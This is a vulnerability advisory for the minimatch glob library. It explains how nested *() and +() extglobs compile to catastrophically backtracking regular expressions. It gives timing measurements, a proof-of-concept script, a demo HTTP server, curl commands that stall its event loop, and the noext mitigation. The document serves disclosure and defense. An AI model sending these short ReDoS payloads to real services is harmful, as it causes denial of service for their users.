| summary |
minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
### Summary
Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.
---
### Details
The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:
```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```
This produces the following regexps:
| Pattern | Generated regex |
|----------------------|------------------------------------------|
| `*(a\|b)` | `/^(?:a\|b)*$/` |
| `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` |
| `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` |
These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.
The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.
Measured times via `minimatch()`:
| Pattern | Input | Time |
|----------------------|--------------------|------------|
| `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms |
| `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms |
| `*(a\|a)` | `a` x25 + `z` | ~2,000ms |
Depth inflection at fixed input `a` x16 + `z`:
| Depth | Pattern | Time |
|-------|----------------------|--------------|
| 1 | `*(a\|b)` | 0ms |
| 2 | `*(*(a\|b))` | 4ms |
| 3 | `*(*(*(a\|b)))` | 270ms |
| 4 | `*(*(*(*(a\|b))))` | 115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- verify the generated regexps and timing (standalone script)**
Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:
```javascript
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```
Observed output:
```
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```
**Step 2 -- HTTP server (event loop starvation proof)**
Save as `poc4-server.mjs`:
```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```
Terminal 1 -- start the server:
```
node poc4-server.mjs
```
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```
Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```
**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```
**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}
time_total: 63.022047s
```
**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```
The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
---
### Impact
Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. |